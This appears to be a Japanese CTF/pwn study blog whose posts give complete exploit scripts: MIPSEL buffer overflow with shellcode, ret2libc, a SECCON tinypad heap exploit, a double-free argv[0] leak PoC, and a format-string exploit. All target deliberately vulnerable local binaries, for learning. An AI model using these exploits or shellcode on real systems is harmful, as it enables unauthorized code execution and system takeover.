Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

mipselにおけるシェルコードを読んでみる

2017年8月11日に茅場町コワーキングスペースCo-EdoでCpawLTをやったので置いておく。ここすごく綺麗だし勉強会にはちょうど良いので、オススメします。

mipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみるでは、exploit-dbにあるシェルコードをそのまま使っていた & LTネタが無かったので、シェルコードの動きとかコメント付けて解説したりしました。

speakerdeck.com

mipselにおけるReturn to libcを試してみる

はじめに

前回のmipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみるでは、シェルコードを実行させた。そこで、今回はReturn to libcを試してみる。

環境

前回の記事と同じ環境である。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

脆弱性のあるプログラム

単純なスタックバッファオーバーロードでリターンアドレスを書き換えが可能なプログラムを以下に示す。 今回は攻撃を簡単にするためにlibcのアドレスを表示する仕様にしている。これはexploit中にlibcのアドレスがリークできる状況を想定している。また、後にsocatで動かすのでsetbufもしている。

//ret2libc.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {

  char buf[100];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("%p\n", printf);

  gets(buf);
  return 0;
}

上記のプログラムを以下のようにしてコンパイルする。

root@debian-mipsel:~/study/2_ret2libc# gcc -fno-stack-protector -no-pie ret2lib.c -o ret2lib

試しに実行してみると以下のような感じ。

root@debian-mipsel:~/study/2_ret2libc# ./ret2libc
0x77e7d720
AAAA

最後にこのバイナリをsocatで動かしておく。

root@debian-mipsel:~/study/2_ret2libc# socat tcp-l:8888,reuseaddr,fork exec:./ret2libc&

バイナリを読んでみる

今回も前回同様にリターンアドレスまでのオフセットは108なので、exploitに必要なところを見てみる。
x86と違い、mipsでは関数の引数はレジスタ渡しなので、x86-64と同様になんとかしてレジスタにスタックの値を入れなくてはいけないのだが、(お手軽にいつものx86-64みたいにpop rdi; retして~みたいな方法がわからんかった)、__libc_csu_initによる3引数関数実行という一般的なテクニックが利用可能である。
以下にlibc_csu_initの重要な部分のobjdump結果を示す。

 4008d0:       8e190000        lw      t9,0(s0)
  4008d4:       26310001        addiu   s1,s1,1
  4008d8:       02a03025        move    a2,s5
  4008dc:       02802825        move    a1,s4
  4008e0:       0320f809        jalr    t9
  4008e4:       02602025        move    a0,s3
  4008e8:       1651fff9        bne     s2,s1,4008d0 <__libc_csu_init+0x60>
  4008ec:       26100004        addiu   s0,s0,4
  4008f0:       8fbf0034        lw      ra,52(sp)
  4008f4:       8fb50030        lw      s5,48(sp)
  4008f8:       8fb4002c        lw      s4,44(sp)
  4008fc:       8fb30028        lw      s3,40(sp)
  400900:       8fb20024        lw      s2,36(sp)
  400904:       8fb10020        lw      s1,32(sp)
  400908:       8fb0001c        lw      s0,28(sp)
  40090c:       03e00008        jr      ra
  400910:       27bd0038        addiu   sp,sp,56

この構造に合わせてスタックに流し込むペイロードを考えれば良い。ただし、4008d0から分かるように、ジャンプ先が格納されるt9レジスタに入る値は、s0レジスタレジスタ間接なので、呼びたい関数のアドレスが格納されているメモリのアドレスなどを指定する必要がある。今回は、execl関数のアドレスが格納されているlibc内のアドレスがあったので、これを用いてシェルを起動する。(正直、これが正しいやり方、安定したやり方なのかどうか疑問だが)

exploitを書いてみる

# x.py
import socket
import telnetlib
import struct

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]                                                                                                             [0/1969]

s, f = sock("localhost", 8888)

libc_printf = int(read_until(f),16)
libc_base = libc_printf - 0x50270
libc_execl_ptr = libc_base + 0x180464
libc_bin_sh = libc_base + 0x158054
print "libc base: 0x%x" % libc_base
print "execl_ptr: 0x%x" % libc_execl_ptr
print "/bin/sh: 0x%x" % libc_bin_sh

# Using __libc_csu_init
payload = ''
payload += 'A' * 108
payload += p(0x4008f0)       # 0x4008f0: lw ra,52(sp)
payload += 'A' * 28
payload += p(libc_execl_ptr) # lw      s0,28(sp)
payload += p(0xdeadbeef)     # lw      s1,32(sp)
payload += p(0xdeadbeef)     # lw      s2,36(sp)
payload += p(libc_bin_sh)    # lw      s3,40(sp)
payload += p(0)              # lw      s4,44(sp)
payload += p(0)              # lw      s5,48(sp)
payload += p(0x4008d0)       # lw      ra,52(sp)

f.write(payload + '\n')

shell(s)

実際に上記のプログラムを実行してみる。

root@debian-mipsel:~/study/2_ret2libc# python x.py
libc base: 0x77435000
execl_ptr: 0x775b5464
/bin/sh: 0x7758d054
id
uid=0(root) gid=0(root) groups=0(root)

実際にシェルが起動していることがわかる。

mipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみる

はじめに

mipsel(mipsのリトルエンディアン環境)において、簡単なスタックオーバーフローを用いたシェルコード実行を試してみたからメモしておく。

環境

Qemuでmipselのシステムエミュレーションで以下の環境を用意した。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

脆弱性のあるプログラム

単純なスタックバッファオーバーロードでリターンアドレスを書き換えが可能なプログラムを以下に示す。
今回は攻撃を簡単にするためにbuf変数のアドレスを表示する仕様にしている。後にsocatで動かすのでsetbufもしている。

// bof.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {

  char buf[100];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("%p\n",buf);
  gets(buf);

  return 0;
}

上記のプログラムを以下のようにしてコンパイルする。本環境だと-z execstackを付けない場合でもスタック上が実行可能になってしまっていたので付けていない。これはQemuの設定の方が足りていないってことなんだろうか?

root@debian-mipsel:~/study# gcc -fno-stack-protector -no-pie bof.c -o bof

試しに実行してみると以下のような感じ。

root@debian-mipsel:~/study# ./bof
0x7fe57dd0
AAAA

最後にこのバイナリをsocatで動かしておく。

root@debian-mipsel:~/study# socat tcp-l:8888,reuseaddr,fork exec:./bof&

バイナリを読んでみる

とりあえずobjdumpでmain関数を見てみる。

004007c0 <main>:
  4007c0:   3c1c0002    lui gp,0x2
  4007c4:   279c8240    addiu   gp,gp,-32192
  4007c8:   0399e021    addu    gp,gp,t9
  4007cc:   27bdff78    addiu   sp,sp,-136
  4007d0:   afbf0084    sw  ra,132(sp)
  4007d4:   afbe0080    sw  s8,128(sp)
  4007d8:   03a0f025    move    s8,sp
  4007dc:   afbc0010    sw  gp,16(sp)
  4007e0:   afc40088    sw  a0,136(s8)
  4007e4:   afc5008c    sw  a1,140(s8)
  4007e8:   8f828040    lw  v0,-32704(gp)
  4007ec:   8c420000    lw  v0,0(v0)
  4007f0:   00002825    move    a1,zero
  4007f4:   00402025    move    a0,v0
  4007f8:   8f828058    lw  v0,-32680(gp)
  4007fc:   0040c825    move    t9,v0
  400800:   0320f809    jalr    t9
  400804:   00000000    nop
  400808:   8fdc0010    lw  gp,16(s8)
  40080c:   8f82803c    lw  v0,-32708(gp)
  400810:   8c420000    lw  v0,0(v0)
  400814:   00002825    move    a1,zero
  400818:   00402025    move    a0,v0
  40081c:   8f828058    lw  v0,-32680(gp)
  400820:   0040c825    move    t9,v0
  400824:   0320f809    jalr    t9
  400828:   00000000    nop
  40082c:   8fdc0010    lw  gp,16(s8)
  400830:   27c20018    addiu   v0,s8,24
  400834:   00402825    move    a1,v0
  400838:   8f828024    lw  v0,-32732(gp)
  40083c:   244409d0    addiu   a0,v0,2512
  400840:   8f828050    lw  v0,-32688(gp)
  400844:   0040c825    move    t9,v0
  400848:   0320f809    jalr    t9
  40084c:   00000000    nop
  400850:   8fdc0010    lw  gp,16(s8)
  400854:   27c20018    addiu   v0,s8,24
  400858:   00402025    move    a0,v0
  40085c:   8f82804c    lw  v0,-32692(gp)
  400860:   0040c825    move    t9,v0
  400864:   0320f809    jalr    t9
  400868:   00000000    nop
  40086c:   8fdc0010    lw  gp,16(s8)
  400870:   00001025    move    v0,zero
  400874:   03c0e825    move    sp,s8
  400878:   8fbf0084    lw  ra,132(sp)
  40087c:   8fbe0080    lw  s8,128(sp)
  400880:   27bd0088    addiu   sp,sp,136
  400884:   03e00008    jr  ra
  400888:   00000000    nop
  40088c:   00000000    nop
  • 4007d8: 03a0f025 move s8,spでs8レジスタにスタックポインタ(sp)を代入している
  • jalr t9がところどころにあるが、これがsetbufやprintfなどの関数に飛ぶ処理である
  • raはリターンアドレスを格納するレジスタなので、400878: 8fbf0084 lw ra,132(sp)からスタックの頂上から132byteのところにリターンアドレスが格納されているとわかる
  • 1番最後のjalr t9がgets関数なので第一引数であるa0を探すと、400854でs8(=sp)+24をv0に設定し、次の命令でa0にv0を代入していることがわかる
  • リターンアドレスがsp+132で、getsの入力先がsp+24なので、オフセットは108だとわかる

exploitを書いてみる

まず最初に出力されるアドレスを保存しておき、[シェルコード|パディング|前述したアドレス]という形のペイロードを流し込むスクリプトを作成する。なおシェルコードは、shell stormにあるのを利用した。

# x.py
import socket
import telnetlib
import struct

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def p(a): return struct.pack("<I",a)

s, f = sock("localhost", 8888)

stack_addr = int(read_until(f),16)

# shellcode
payload = "\xff\xff\x10\x04\xab\x0f\x02\x24\x55\xf0\x46\x20\x66\x06\xff\x23\xc2\xf9\xec\x23\x66\x06\xbd\x23\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf\x9a\xf9\xbd\x23\x21\x20\x80\x01\x21\x28\xa0\x03\xcc\xcd\x44\x03/bin/sh"

# padding
payload += '\x00' * (108 - len(payload))

# return addr
payload += p(stack_addr)
payload += '\n'

f.write(payload)

shell(s)

実際に上記のプログラムを実行してみる。

root@debian-mipsel:~/study# python x.py
id
uid=0(root) gid=0(root) groups=0(root)

シェルコードが実行されて、シェルの起動を確認した。

SECCON 2016 Online CTF tinypad(pwn300)

想定解ではない解き方から,いろいろ学ぶ会.

Info

  • 64bitのnot strippedでdynamically linkedなバイナリ
  • Full RELRO,Canary,Nx enabled
  • libcは配布

Analysis

メモ管理系のバイナリで,4つのメモを以下のような構造体で管理しており,グローバル変数として存在するのだが,なぜかこの構造体の前に空き領域がある感じに(要は構造体の構造体)なっており,以下の構造体が実際にあるのは0x602140だった.

struct {
    size_t size;
    char *memo;
}

また,このメモに対して以下のコマンドを実行することができる.

  • A: サイズを入力して,mallocを呼び,そのサイズ分そこに書き込む
    • サイズは,どんな値でも入力できるが,$ 0 < x < 0x100 $を満たさないと,変更される
  • D: インデックスを入力して,そのmemoをfreeする
  • E: インデックスを入力して,そのmemoを書き換える
  • Q: コマンド実行用のループから抜けるだけ

脆弱性としては,毎回4つのメモ内容を表示する仕様になっており,memoの追加削除の有無にかかわらず表示しているため,free済みchunkなどをleakすることができてしまうという脆弱性がある.
もう1つは,入力関数にsingle null byte overflowがある.

Exploit

まず,どうやってHeapやLibcのアドレスを上記の脆弱性を使って行うかだが,まず4つのメモを追加する.例えば,3番目,1番目の順番にメモを削除する.そうすると,fastbinsに入らないchunkはいったんunsortedbinに追加されるわけなので(ただ,後ろのchunkがfree済みだっりするとconsolidateが走りまとめようとしてくるので,今回のケースで言えば2番目と4番目のchunkはそれを防ぐためといえる),そのfreed chunkのfdやbkは他のchunkであったり,top chunkを指すようになる.具体的に言えば,1番目のfreed chunkのfdは3番目のfreed chunkを指しており,3番目のfreed chunkのfdはtop chunkを指すようになる.そうすると,削除済みのメモにかかわらず表示する仕様上,ちょうどdata領域もといfreed chunkのfdがリークするので,topとheapのアドレスが手に入り,オフセットを用いて計算することで,ヒープベースlibcベースが算出できる.また,このリークに使ったchunkが後続する攻撃に影響すると嫌なので,とりあえず2番目と4番目のメモも削除した.

次に,もう一つの脆弱性であるsingle null byte overflowを使って任意の場所への書き込みを行う.要は,Poisoned NULL byteのテクニックを実践してみる. 確保したchunkのdata領域に書き込む時に,この脆弱性で,0x00があふれるというのは,隣接する次のchunkのsizeの末尾1byteを0x00に変えること意味する.このsizeの末尾1byteというのはPREV_INUSEを意味し,前のchunkが使用しているかどうかの判定などに使われる.またsizeの末尾1byteが上書きできるということは,その前のprev_sizeも書き換えが可能である. そこで,今回はオーバーフローをしつつfake chunkを作るということをする.例えばmalloc(1)を呼ぶと,sizeは0x20になるので,これと同じ最小のfake chunkを作る.そこで,sizeを0x21,fd,bkを共にfake chunk自身に向け,オーバーフローした方のprev_sizeを0x20にして,sizeの末尾1byteを0x00に変える.そして,2番目のchunkをfreeすると,PREV_INUSEなどから直前のchunkはfree済みとみなされて,1つの空き領域としてまとめられる.そうすると,本来Aのdata領域であったところの一部が空き領域となってしまう
次に,fastbinsに入るような小さなchunkを確保し,最初のchunkをfreeして,次にこのchunkをfreeする.そして再度最初のchunkを最初と同じサイズで確保すると,fastbinsに入っているfreed chunkを含んだ範囲をdata領域として確保されることになる.つまり,オフセットを計算しておけば,freed chunkのfdなどを書き換えることが可能になる.
freed chunkのfdがいじれるので,sizeの整合性が取れるところを指すようにしたりすることで House of Spiritが可能となる.fdなどを書き換えたfreed chunkをfreeして,fastbinsに突っ込み,その後同サイズのmallocを呼び,さらにもう一度呼べば,それは書き換えたfdが指すアドレスを返すので,意図的な箇所に書き込みが可能となる.(今回は,4番目のメモの手前を指すようにした.なので,予め4つ目のメモのサイズ0x31を合わせておいた).
そうすると,メモの内容表示の部分で今度は,そのアドレスの中身をリークすることができる.今回はセキュリティ機構が厳しかったので__libc_argvからスタックのアドレスをリークして,edit処理(正確に言えば,2番目のメモのポインタが指すのが,4番目のメモのアドレスなので2番目で書き込みたいアドレスを入力すると,4番目のメモのポインタの指す先がそのアドレスになるので書き込みが可能になる)で,main関数のreturn addressを上書きする方針を取った.よって,return addressをone gadgetに飛ばしてシェルを取った.

#!/usr/bin/env ruby
# coding: utf-8

require 'pwnlib'
require 'fsalib'
require 'one_gadget'
include Shellcode

host = 'localhost'
port = 8888


def add(t, len, data)
  puts "[!] Add memo"
  t.sendline("A")
  t.recv_until(">>>")
  t.sendline(len.to_s)
  t.recv_until(">>>")
  t.sendline(data)
  t.recv_until(">>>")
end

def edit(t, id, data)
  puts "[!] Edit memo"
  t.sendline("E")
  t.recv_until(">>>")
  t.sendline(id.to_s)
  t.recv_until(">>>")
  t.sendline(data)
  t.recv_until(">>>")
  t.sendline("Y")
  t.recv_until(">>>")
end

def del(t, id)
  puts "[!] Delete memo"
  t.sendline("D")
  t.recv_until(">>>")
  t.sendline(id.to_s)
end

PwnTube.open(host, port) do |t|

  tinypad_addr = 0x602140
  libc_argv_offset = 0x3c82f8
  onegadget_offset = OneGadget.gadgets(file: '/lib/x86_64-linux-gnu/libc.so.6')[2]
  
  # Leak heap and libc addr
  t.recv_until(">>>")
  add(t, 0x100, "A1")
  add(t, 0x100, "B1")
  add(t, 0x100, "C1")
  add(t, 0x100, "D1")
  del(t, 3)
  t.recv_until(">>>")
  del(t, 1)
  data = t.recv_capture(/INDEX: 1\n # CONTENT: (.+)\n\n\n/)
  heap_addr = u64(data[0].ljust(8, "\x00"))[0]
  data = t.recv_capture(/INDEX: 3\n # CONTENT: (.+)\n\n\n/)
  top_addr = u64(data[0].ljust(8, "\x00"))[0]

  heap_base = heap_addr - 0x220
  libc_base = top_addr - 0x3c3b78

  puts "[+] heap base: 0x%x" % heap_base
  puts "[+] libc base: 0x%x" % libc_base

  t.recv_until(">>>")
  del(t, 2)
  
  t.recv_until(">>>")
  del(t, 4)
  t.recv_until(">>>")
  
  add(t, 0xf8, "A2")
  add(t, 0xf8, "B2")
  add(t, 0xf8, "C2")
  add(t, 0x31, "D2") # 後に,fastbinsでsizeの整合性を取る
  

  del(t, 1)
  t.recv_until(">>>")

  # 最小のfake chunkを作る
  # fake chunk
  # prev_size: 0
  # size: 0x21
  # fd: fake chunk
  # bk: fake chunk
  
  fake_chunk_offset = 0xe0
  fake_chunk_addr = heap_base + fake_chunk_offset
  payload = ""
  payload << "@" * 0xd0
  payload << p64(0, 0x21)
  payload << p64(fake_chunk_addr, fake_chunk_addr)
  payload << p64(0x20)
  payload = payload.rjust(0xf8, "@")
  add(t, 0xf8, payload)

  # consolidate
  del(t, 2)

  # fastbinのchunkを作る
  payload = ""
  payload << "@" * 24
  payload << p64(0x121)
  add(t, 0x20, payload)

  # 最初と上記のchunkをfreeする
  del(t, 1)
  t.recv_until(">>>")
  del(t, 2)
  t.recv_until(">>>")

  # 最初と同じサイズで確保することで,freed chunkを上書き
  payload = "@" * 0xd0
  payload << p64(0, 0x31) # prev_size, size
  payload << p64(tinypad_addr + 0x28) # fd: 3番目のポインタのアドレス
  add(t, 0xf8, payload)
  
  del(t, 1)
  t.recv_until(">>>")
  
  # fastbinsからchunkを返す
  add(t, 0x28, "A3")

  # 書き換えられたfdが指す先を返す
  add(t, 0x28, p64(libc_base + libc_argv_offset))
  stack_ddr = u64(t.recv_capture(/INDEX: 4\n # CONTENT: (.+)\n\n\n/)[0].ljust(8, "\x00"))[0]
  
  stack_offset = 0xe0
  edit(t, 2, p64(stack_ddr - stack_offset))

  edit(t, 4, p64(libc_base + onegadget_offset))

  t.sendline("Q")

  t.recv_until(">>>")

  t.shell
end

以下が実行結果である.

f:id:encry1024:20170404222334p:plain

感想

いろいろなHeap周りのテクニックを学んできたが,あまりヒープのレイアウトを意識して学んだり使ったことがなかった.なので,今回のようにちゃんと「現在どういうヒープのレイアウトになっているのか」,「どこにどんなchunkがあるのか」等を意識して考えることはとても勉強になった.特にPoisoned null byteのテクニックは学んだだけで利用したことはなかったので,実際に利用してみて,たった「1byteの0x00のOverflowがここまで攻撃に起因してしまうのか・・」というCTFとはまた違った感情を抱いたりした.

資料

double freeを用いたargv[0] leak

double freeの時に呼ばれる関数でも__libc_message関数が呼ばれているので,argv[0] leakが可能という一行で伝わる人は時間の無駄なので,そっと閉じて欲しい.

はじめに

普通の人は,Buffer Overflow対策のためのgccのセキュリティ機構SSP(Stack-Smashing Protection)の検知時に呼ばれる__stack_chk_fail関数によるargv[0] leakの手法は知っているだろう.(katagaitaiCTF勉強会資料4回)
大雑把にこれを説明すると__stack_chk_fail関数が呼ばれた際に内部で呼ばれる__libc_message関数がargv[0]を出力するため,ここを任意のアドレスに書き換えれば,任意の値リークに繋がるという手法である.そのためにはいろいろ環境(xinetd,socat配下等)を考慮しなくてはいけないが,そこはkatagaitaiCTF勉強会資料を見て欲しい.

double freeを用いたargv[0] leak

今回は,Buffer Overflow時ではなく,double free時にも同様のことが起こることを実践する. 通常malloc関数で確保した領域はfree関数で解放するのだが,解放済みの領域を,再度解放できてしまう脆弱性をdouble freeと呼ぶ.通常はありあえないはずだが,条件分岐のバイパスや制御を奪ったあとでは簡単に二回目のfree関数を呼ぶことも難しくはないかもしれない.

現在のglibcmalloc.cでは,double freeをした際にかぎらず,fastbins関係のエラーなど,ほぼmalloc_printerr関数が呼ばれるようになっている.以下にmalloc_printerr関数を示す.

extern char **__libc_argv attribute_hidden;

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)

上記のコードの下らへんで,__libc_message関数が呼ばれており,これが__stack_chk_fail関数の中でも,引数argv[0]が取られて呼ばれるようになっている.そのため,malloc_printerr関数が呼ばれるとargv[0]が出力されるため,予めargv[0]を任意のアドレスに書き換えておけば,リークすることができるという流れである.

検証

手元でさくっと試せるように下にPocを載せておく.H@CKが出力されれば,勝ち.

// gcc poc.c
#include <stdlib.h>
char target[] = "H@CK";
int main(int argc, char* argv[]) {

  char *p;
  p = malloc(0x10);

  putenv("LIBC_FATAL_STDERR_=1"); // socat配下のため環境変数を設定
  argv[0] = target;               // argv[0]をtargetに設定

  free(p);
  free(p);                        // double free 発生

  return 0;
}

これを以下のようにして動かす.

$ socat tcp-l:8888,reuseaddr,fork exec:./a.out,stderr

いつもどおり繋いでみると,以下のような画面になるはずだ.

$ nc localhost 8888
*** Error in `H@CK': double free or corruption (fasttop): 0x00000000010a6010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f59956357e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x7fe0a)[0x7f599563de0a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f599564198c]
H@CK[0x400600]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f59955de830]
H@CK[0x4004e9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:30 608                                /home/vagrant/ctf/PoC/a.out
00600000-00601000 r--p 00000000 00:30 608                                /home/vagrant/ctf/PoC/a.out
00601000-00602000 rw-p 00001000 00:30 608                                /home/vagrant/ctf/PoC/a.out
010a6000-010c7000 rw-p 00000000 00:00 0                                  [heap]
7f5990000000-7f5990021000 rw-p 00000000 00:00 0
7f5990021000-7f5994000000 ---p 00000000 00:00 0
7f59953a8000-7f59953be000 r-xp 00000000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59953be000-7f59955bd000 ---p 00016000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59955bd000-7f59955be000 rw-p 00015000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59955be000-7f599577d000 r-xp 00000000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f599577d000-7f599597d000 ---p 001bf000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f599597d000-7f5995981000 r--p 001bf000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f5995981000-7f5995983000 rw-p 001c3000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f5995983000-7f5995987000 rw-p 00000000 00:00 0
7f5995987000-7f59959ad000 r-xp 00000000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995b80000-7f5995b83000 rw-p 00000000 00:00 0
7f5995ba9000-7f5995bac000 rw-p 00000000 00:00 0
7f5995bac000-7f5995bad000 r--p 00025000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995bad000-7f5995bae000 rw-p 00026000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995bae000-7f5995baf000 rw-p 00000000 00:00 0
7ffdde641000-7ffdde662000 rw-p 00000000 00:00 0                          [stack]
7ffdde6f7000-7ffdde6f9000 r--p 00000000 00:00 0                          [vvar]
7ffdde6f9000-7ffdde6fb000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

上記の通り,H@CKが出力されていることがわかる.勝ち.

syscalldumpを公開

Pwnでシェルコードを書く時やROPでシステムコールを直に叩くことは多い.しかしx86x86_64などの違いや引数の順番,システムコール番号などがあやふやになり,毎回ググったり,ソースコードgrepしたりしていた.
そこで,ただ調べたいシステムコール名を与えるだけで,その引数情報やシステムコール番号を出力するだけのツールを作った.

$ syscalldump mmap
rax: 9
rdi: unsigned long addr
rsi: unsigned long len
rdx: unsigned long prot
rcx: unsigned long flags
 r8: unsigned long fd
 r9: unsigned long off

bitbucket.org

もちろん,前述した通り調べれば良いだけだが,それすらめんどくさくなってしまった私のような人にとっては便利かもしれない. 生成してあるバイナリはx86_64なので, 必要な人はビルドし直して.

ちなみに,システムコール番号とシステムコール名の対応付けだけ引きたい人は,以下のサイトを参考にすると良い.

Debianでシステムコールの番号と名前を調べる -- ぺけみさお

fsalib(format string attack library)を公開

Pwnにおいて書式文字列攻撃のコードを書くときは,たまにあり,Pythonだと以下のlibformatstrが有名だと思う.

github.com

しかし,RubyでExploitを書いている身としてはこれは使えないので,重い腰を上げようやく,自分用にlibformatstrの中で実際に書式文字列攻撃用の文字列を生成しているcore.pyRubyで書き直した.

github.com

使えそうなところは,本当にPythonRubyに直しただけで,名前などは自分が使いやすいように変えてしまったり,内部のメソッドの持ち方とかも,自分が書きやすい&理解しやすいように少し変えてしまった.

実際にDEFCON2015予選のbabyechoという問題で利用したのでexploitを載せておく.この問題はFSBがあるが,最初は読み込みサイズが小さいので,読み込みサイズの値をまず書き換えてしまってからシェルコードを流し込んで飛ぶという単純な問題である.個人的には小さい値を書き換えるぐらいはこのライブラリをわざわざ使う必要はないが,4byte書き込みとかになったらしんどいので利用している.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'
require 'fsalib'
include Shellcode

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = ''
  port = 0
end

PwnTube.open(host, port) do |t|

  # t.debug = true
  t.recv_until("bytes\n")
  t.sendline("%5$p")
  esp28 = t.recv_until("\n").to_i(16)
  esp = esp28 - 28
  puts "esp: 0x%x" % esp

  t.recv_until("bytes\n")
  payload = p32(esp + 0x10) # length
  payload << "%99c%7$n"     # 適当にlengthを書き換え
  t.sendline(payload)

  t.recv_until("bytes\n")
  payload = ""
 
  # 以下が書式文字列生成部分
  fsa = FSA.new
  fsa[esp + 1068] = esp + 68
  payload << fsa.payload(7)

  payload = payload.ljust(40, "@") # わかりやすいように40byteまでpadding
  payload << shellcode(:x86)
  t.sendline(payload)

  t.recv_until("bytes\n")
  payload = p32(esp + 0x18)
  payload << "%114514c%7$n" # ループの条件となっているFLAG変数を書き換え
  t.sendline(payload)

  t.shell

end

詳しくないが,簡易的なUsageはREADMEに書いたので見てくれ. あと,やっつけで書いたので,どうせミスってる部分あると思うし,誰か気づいたら教えてほしい.